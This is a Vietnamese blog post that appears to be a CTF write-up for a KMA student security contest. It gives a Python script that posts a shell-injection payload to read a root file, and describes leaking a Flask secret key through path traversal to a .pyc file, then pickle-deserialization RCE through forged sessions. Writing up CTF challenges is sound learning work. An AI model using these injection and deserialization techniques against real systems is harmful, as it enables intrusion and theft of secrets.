KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN

Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :(
Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :(

Pwn1: Welcome to KCSC

Bài này mình chỉ đăng script thôi, xin nhỗi mn :>

from pwn import *
import requests

# elf = context.binary = ELF("./advice")

pay1 = b'''Hello" && /usr/bin/as @/root/root.txt;
echo"'''
pay2 = b"111111"
# r = elf.process([pay1, pay2])
d=requests.post("http://103.162.14.116:5001/contact",data={"name":pay1,"advice":pay2})
print(d.text)
# r.interactive()


Web1: You are a good admin.

Mn có thể tải file tại đây.
Sau khi build docker xong, hãy quan sát một chút về code 
có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :))


Tại route /file, ta dễ thấy nó đang bị lỗi file inclusion tại tham số f. Input chúng ta không được kết thúc là py, lý do nó ở đấy nhằm ngăn chúng ta đọc file config.py nơi chứa secret_key.
Tuy nhiên, khi chạy thì nó sẽ sinh ra một folder __pycache__ chứa file byte code .pyc.
Lợi dụng file này để đọc secret_key được import từ config.py

http://localhost:9000/file?f=../__pycache__/config.cpython-311.pyc
Ta được đoạn base64 này 


Sau đó quăng lên cyberchef là có được secret key :D
Tiếp theo là route /admin

Nhìn thấy sink để rce là chỗ pickle.loads
Bây giờ phải gen data như nào đấy để có thể thi thực lệnh.
Mình đọc được 2 bài blog nói về cách sử dụng opcode để bypass, bài 1 & bài 2. Nếu dùng __reduce__ thì sẽ sinh ra R nên không thể dùng. Mình chọn cách này

Các điều kiện đã có đủ, bây giờ gen session thôi :>
Mình sẽ dùng flask-sign để gen. 


Nhưng mà mình đếch hiểu sao nó lại outband, trên web cứ trả về lmao trong khi docker lại ghi thành công :v


Để bypass độ dài thì sửa script như này mv /f* ./c
sau đó lợi dụng lfi để đọc flag :>
Hôm nay đến đây thôi, web2 ghi sau, lười vãi đạn




Nhận xét

Bài đăng phổ biến từ blog này

KMACTF và nỗi buồn éo làm được gì cả T__T